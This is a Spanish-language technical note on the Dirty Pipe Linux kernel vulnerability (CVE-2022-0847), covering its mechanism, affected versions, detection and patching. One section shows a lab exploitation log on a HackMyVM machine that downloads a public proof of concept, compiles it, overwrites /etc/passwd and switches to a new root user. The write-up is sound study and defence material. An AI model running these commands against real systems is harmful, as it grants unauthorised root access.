1. Descripción técnica del ataque
Dirty Pipe (CVE-2022-0847) es una vulnerabilidad en el kernel de Linux que permite a un usuario sin privilegios sobrescribir datos en archivos de solo lectura, incluso si no tiene permiso de escritura sobre ellos.
El fallo está en la implementación de las tuberías (pipes). Un error en la gestión del flag PIPE_BUF_FLAG_CAN_MERGE permite que, tras ciertas operaciones con splice() (que conecta el page cache de un archivo con una pipe), un atacante inyecte datos arbitrarios en las páginas de caché del archivo objetivo. Como esas páginas pertenecen al page cache del archivo, la escritura se refleja en el contenido del archivo (en memoria), saltándose por completo los permisos del sistema de archivos.
Vectores de escalada típicos:
- Sobrescribir
/etc/passwdpara vaciar/cambiar la contraseña de root o añadir un usuario UID 0. - Modificar un binario SUID (como
/usr/bin/su) para inyectar shellcode.
2. Impacto de la vulnerabilidad
- Escalada de privilegios a root local, fiable y rápida.
- Sobrescritura de cualquier archivo legible (incluidos binarios SUID y archivos del sistema).
- Afectó a una enorme cantidad de sistemas por estar en el kernel base.
3. Historia y evolución
- Descubierta por Max Kellermann y publicada en marzo de 2022.
- Afecta a kernels Linux 5.8 y posteriores, hasta las versiones parcheadas 5.16.11, 5.15.25 y 5.10.102.
- Aparecieron numerosos PoCs públicos (Al1ex, AlexisAhmed, etc.) que automatizan tanto la sobrescritura de
/etc/passwdcomo la inyección en binarios SUID. Es uno de los kernel-exploits más usados en CTFs.
4. Factores que la hacen posible
- Un kernel vulnerable (5.8 a las versiones previas al parche).
- Acceso local como usuario sin privilegios con permiso de lectura sobre el archivo a sobrescribir.
- La capacidad de compilar/ejecutar el exploit en la víctima.
5. Detección
- Comprobar la versión del kernel:
uname -rSi está entre 5.8 y las versiones previas a 5.16.11 / 5.15.25 / 5.10.102, es candidato.
- Herramientas como LinPEAS o
linux-exploit-suggesterlo señalan automáticamente.
6. Mitigación
- Actualizar el kernel a una versión parcheada (5.16.11 / 5.15.25 / 5.10.102 o superiores).
- Aplicar las actualizaciones de seguridad de la distribución.
7. Ejemplo de explotación real
Máquina Bah de HMV. Usando el PoC que modifica /etc/passwd para crear un usuario root:
qpmadmin@bah:/tmp$ wget https://raw.githubusercontent.com/Al1ex/CVE-2022-0847/main/exp.cn/exp.c
qpmadmin@bah:/tmp$ cp /etc/passwd /tmp/passwd.bak
qpmadmin@bah:/tmp$ gcc exp.c -o exp
qpmadmin@bah:/tmp$ ./exp /etc/passwd 1 ootz:
It worked!
qpmadmin@bah:/tmp$ su rootz
rootz@bah:/tmp#8. Clasificación
- Tipo: Improper Initialization / Page Cache Overwrite → Local Privilege Escalation
- CVE: CVE-2022-0847
- CWE:
- CWE-665 – Improper Initialization
- CWE-281 – Improper Preservation of Permissions
9. Resumen
Dirty Pipe (CVE-2022-0847) explota un fallo en las pipes del kernel Linux (5.8–previo a 5.16.11/5.15.25/5.10.102) para sobrescribir archivos de solo lectura inyectando datos en el page cache, logrando escalada a root (vía /etc/passwd o binarios SUID). La defensa es actualizar el kernel. Comparable a otros kernel-LPE como Looney Tunables (CVE-2023-4911).